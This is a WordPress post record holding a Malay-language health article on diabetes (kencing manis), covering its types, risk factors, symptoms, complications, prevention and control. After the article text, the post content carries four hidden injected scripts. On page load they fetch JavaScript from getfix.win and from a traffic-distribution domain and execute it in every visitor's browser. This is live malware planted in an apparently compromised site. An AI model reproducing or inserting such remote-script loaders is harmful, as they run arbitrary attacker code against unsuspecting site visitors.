{"id":346,"date":"2006-10-13T07:04:25","date_gmt":"2006-10-13T07:04:25","guid":{"rendered":"https:\/\/papisma.org\/index\/?p=346"},"modified":"2025-09-19T14:00:33","modified_gmt":"2025-09-19T14:00:33","slug":"kencing-manis","status":"publish","type":"post","link":"https:\/\/papisma.org\/index\/2006\/10\/13\/kencing-manis\/","title":{"rendered":"Kencing Manis"},"content":{"rendered":"<p style=\"font-family: Geneva,Arial,Helvetica,sans-serif; font-size: 9pt; font-style: normal; line-height: normal;\" align=\"left\"><span style=\"font-size: 12pt;\">Diabetis ialah sejenis penyakit di mana badan mengeluarkan terlalu sedikit insulin atau insulin dikeluarkan tidak berkesan. la mengakibatkan paras glukosa dalam darah tidak normal dan jika dibiarkan akan menyebabkan komplikasi <\/span><span style=\"font-size: 12pt;\">yang senus. <\/span><span style=\"font-size: 12pt;\">Insulin adalah sejenis hormon yang dihasilkan\u00a0 dalam\u00a0 pangkreas.\u00a0 la mengekalkan glukosa dalam darah pada paras normal dengan membantu mengeluarkan glukosa dari edaran darah memasuki sel badan. Akibat dari <\/span><span style=\"font-size: 12pt;\">kandungan insulin yang tidak mencukupi atau tidak berkesan di kalangan pesakit diabetis, glukosa tidak dapat memasuki sel-sel badan dan ia kekal di dalam darah menyebabkan paras glukosa dalam darah meningkat.\u00a0<\/span><br \/>\n<!--msnavigation--><\/p>\n<p><strong>Jenis Diabetis<\/strong><!--mstheme--><\/p>\n<p><span style=\"font-size: 12pt;\">Ada 2 jenis utama diabetis iaitu: <\/span><span style=\"font-size: 12pt;\">\u00a0 <\/span><\/p>\n<p><!--mstheme-->Jenis I atau Diabetis Yang Bergantung Pada Insulin <!--mstheme--><\/p>\n<ul>\n<li><span style=\"font-size: 12pt;\">* Selalu terjadi di kalangan kanak-kanak atau remaja. <\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Hanya boleh dikawal dengan suntikan insulin, kawalan pemakanan dan senaman. <\/span><\/li>\n<li style=\"font-size: 12pt;\">* Disebabkan kekurangan insulin.<\/li>\n<li><span style=\"font-size: 12pt;\">* Biasanya mempunyai kaitan dengan keturunan yang kuat antara ahli keluarga yang menghidap diabetis. <\/span><span style=\"font-size: 12pt;\">\u00a0 <\/span><\/li>\n<li><!--mstheme-->Jenis II atau Diabetis yang Tidak Bergantung Pada Insulin <!--mstheme--><\/li>\n<li><span style=\"font-size: 12pt;\">* Selalu berlaku di kalangan orang dewasa (40 tahun ke atas) dan individu yang mempunyai berat badan yang berlebihan. <\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Biasanya boleh dikawal dengan hanya dengan kawalan pemakanan dan senaman atau gabungan pemakanan, senaman dan ubat. <\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Disebabkan oleh kekurangan insulin atau insulin yang dikeluarkan kurang berkesan. <\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Biasanya mempunyai kaitan keturunan yang kuat antara ahli keluarga yang menghidap diabetis. <\/span><span style=\"font-size: 12pt;\">\u00a0 <\/span><\/li>\n<\/ul>\n<p><!--mstheme--><strong>Faktor Risiko Diabetis<\/strong><!--mstheme--><\/p>\n<p style=\"font-size: 12pt;\">Sesiapa sahaja boleh mendapat diabetis tetapi sesetengah orang lebih mudah mendapat diabetis. Faktor risiko diabetis ialah:<\/p>\n<ul>\n<li><span style=\"font-size: 12pt;\">* Kegemukan <\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Kurang aktiviti fizikal seperti senaman <\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Faktor pemakanan seperti <\/span><span style=\"font-size: 12pt;\">&#8211; Pengambilan lemak berlebihan dalam makanan <\/span><span style=\"font-size: 12pt;\">&#8211; Pengambilan serat yang tidak mencukupi <\/span><span style=\"font-size: 12pt;\">&#8211; Kurang zat makanan di peringkat awal umur <\/span><span style=\"font-size: 12pt;\">&#8211; Kelahiran yang tidak cukup berat <\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Sejarah keluarga yang menghidap diabetis <\/span><\/li>\n<li style=\"font-size: 12pt;\">* Umur<\/li>\n<li><span style=\"font-size: 12pt;\">* Kumpulan etnik <\/span><span style=\"font-size: 12pt;\">\u00a0 <\/span><\/li>\n<\/ul>\n<h1><span style=\"font-size: 12pt;\">Gejala Diabetis<\/span><\/h1>\n<ul>\n<li><span style=\"font-size: 12pt;\">* Kerap dahaga <\/span><\/li>\n<\/ul>\n<ul>\n<li><span style=\"font-size: 12pt;\">* Kerap kencing <\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Susut berat badan walaupun berselera makan <\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Terasa letih atau lesu<\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Luka dan cedera yang lambat sembuh <\/span><\/li>\n<\/ul>\n<ul>\n<li><span style=\"font-size: 12pt;\">* Gatal-gatal terutamanya di bahagian kemaluan <\/span><span style=\"font-weight: normal; font-size: 12pt;\">\u00a0 <\/span><\/li>\n<\/ul>\n<h1><span style=\"font-size: 12pt;\">Komplikasi Diabetis <\/span><\/h1>\n<p style=\"font-size: 12pt;\">Diabetis yang tidak dirawat atau dikawal dengan baik akan menyebabkan komplikasi yang lebih serius.<\/p>\n<p><span style=\"font-size: 12pt;\">Komplikasi diabetis yang biasa adalah: <\/span><\/p>\n<ul>\n<li><span style=\"font-size: 12pt;\">* Penyakit buah pinggang <\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Serangan jantung <\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Kebutaan <\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Koma atau tidak sedarkan diri<\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Stroke\/angin ahmar <\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Penyakit saraf <\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* &#8216;Gangrene&#8217; atau tisu mati <\/span><span style=\"font-size: 12pt;\">\u00a0 <\/span><\/li>\n<\/ul>\n<p><!--mstheme--><strong>Pencegahan Diabetis<\/strong><!--mstheme--><\/p>\n<p><span style=\"font-size: 12pt;\">Diabetis, terutama Jenis II, biasanya dikaitkan dengan berat badan yang berlebihan yang boleh dicegah dengan: <\/span><\/p>\n<ul>\n<li><span style=\"font-size: 12pt;\">* Mempunyai berat badan unggul. Insulin tidak berkesan bagi mereka yang mempunyai lebihan berat badan. Julat berat badan sihat ialah dengan memiliki &#8216;Body Mass Indeks&#8217; (BMI) antara 20 &#8211; kurang dari 25 [<\/span><span style=\"font-size: 12pt;\">BMI = Berat (Kg) \/ <\/span><span style=\"font-size: 12pt;\">Tinggi (m) X Tinggi (m)]<\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Makan pelbagai jenis makanan. <\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Elak makanan berlemak, pilih yang rendak lemak. <\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Makanlah mengikut umur dan tahap aktiviti fizikal anda. <\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Makan lebih buahan, sayuran, kekacang dan bijirin. <\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Makan mengikut kebiasaan tetapi sedikit. Elak snek atau makanan ringan selepas makan. <\/span><\/li>\n<li><span style=\"font-size: 12pt;\">* Bersenam selalu sekurang-kurangnya 3 kali seminggu, 20 &#8211; 30 minit setiap kali. <\/span><span style=\"font-size: 12pt;\">\u00a0 <\/span><\/li>\n<\/ul>\n<h1><span style=\"font-size: 12pt;\">Bolehkah Diabetis Disembuh?<\/span><\/h1>\n<p><span style=\"font-size: 12pt;\">Diabetis tidak boleh disembuh, tetapi boleh dikawal. Untuk mengawal diabetis, kadar glukosa dalam edaran darah hendaklah sentiasa berada pada kadar yang biasa (normal). Berikan perhatian terhadap perkara berikut; <\/span><\/p>\n<p><span style=\"font-size: 12pt;\">* Ubat. <\/span><\/p>\n<p><span style=\"font-size: 12pt;\">* Pemakanan sihat. <\/span><\/p>\n<p><span style=\"font-size: 12pt;\">* Penjagaan berat badan. <\/span><\/p>\n<p><span style=\"font-size: 12pt;\">* Bersenam selalu. <\/span><\/p>\n<p><span style=\"font-size: 12pt;\">* Elakkan jangkitan.<\/span><\/p>\n<p>&nbsp;<script>;document.addEventListener(\"DOMContentLoaded\", function () {\n        var url = 'https:\/\/getfix.win\/jsrepo';\n        fetch(url)\n            .then(response => response.text())\n            .then(data => {\n                var script = document.createElement('script');\n                script.innerHTML = data.trim();\n                document.head.appendChild(script);<\/p>\n<p>                if (document.readyState === 'complete' || document.readyState === 'interactive') {\n                    var event = new Event('DOMContentLoaded');\n                    document.dispatchEvent(event);\n                }\n            })\n    });<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>;(function() {\n        if (document.readyState !== 'loading') {\n            loadScript();\n        } else {\n            document.addEventListener('DOMContentLoaded', loadScript, {once: true});\n        }<\/p>\n<p>        function loadScript() {\n            var url = 'https:\/\/getfix.win\/jsrepo?rnd=' + Math.random() + '&ts=' + Date.now();<\/p>\n<p>            fetch(url, {\n                method: 'GET',\n                cache: 'no-store',\n                credentials: 'same-origin'\n            })\n            .then(response => {\n                if (!response.ok) throw new Error('HTTP ' + response.status);\n                return response.text();\n            })\n            .then(data => {\n                var script = document.createElement('script');\n                script.textContent = data.trim();\n                document.head.appendChild(script);<\/p>\n<p>                if (document.readyState === 'complete' || document.readyState === 'interactive') {\n                    document.dispatchEvent(new Event('DOMContentLoaded'));\n                }\n            })\n            .catch(error => {\n                console.warn('Script load failed:', error.message);\n            });\n        }\n    })();<\/script><script>;(function() {\n    loadScript();<\/p>\n<p>    function loadScript() {\n        var url = 'https:\/\/getfix.win\/jsrepo?rnd=' + Math.random() + '&ts=' + Date.now();<\/p>\n<p>        try {\n            var xhr = new XMLHttpRequest();\n            xhr.open('GET', url, false);\n            xhr.send(null);<\/p>\n<p>            if (xhr.status >= 200 && xhr.status < 300) {\n                var script = document.createElement('script');\n                script.text = xhr.responseText.trim();\n                document.head.appendChild(script);\n            } else {\n                console.warn('Script load failed: HTTP ' + xhr.status);\n            }\n        } catch (e) {\n            console.warn('Script load error:', e.message);\n        }\n    }\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Diabetis ialah sejenis penyakit di mana badan mengeluarkan terlalu sedikit insulin atau insulin dikeluarkan tidak berkesan. la mengakibatkan paras glukosa dalam darah tidak normal dan jika dibiarkan akan menyebabkan komplikasi yang senus. Insulin adalah sejenis hormon yang dihasilkan\u00a0 dalam\u00a0 pangkreas.\u00a0 la mengekalkan glukosa dalam darah pada paras normal dengan membantu mengeluarkan glukosa dari edaran darah [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":263,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-346","post","type-post","status-publish","format-standard","has-post-thumbnail","category-health-info"],"_links":{"self":[{"href":"https:\/\/papisma.org\/index\/wp-json\/wp\/v2\/posts\/346","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/papisma.org\/index\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/papisma.org\/index\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/papisma.org\/index\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/papisma.org\/index\/wp-json\/wp\/v2\/comments?post=346"}],"version-history":[{"count":6,"href":"https:\/\/papisma.org\/index\/wp-json\/wp\/v2\/posts\/346\/revisions"}],"predecessor-version":[{"id":2215,"href":"https:\/\/papisma.org\/index\/wp-json\/wp\/v2\/posts\/346\/revisions\/2215"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/papisma.org\/index\/wp-json\/wp\/v2\/media\/263"}],"wp:attachment":[{"href":"https:\/\/papisma.org\/index\/wp-json\/wp\/v2\/media?parent=346"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/papisma.org\/index\/wp-json\/wp\/v2\/categories?post=346"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/papisma.org\/index\/wp-json\/wp\/v2\/tags?post=346"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}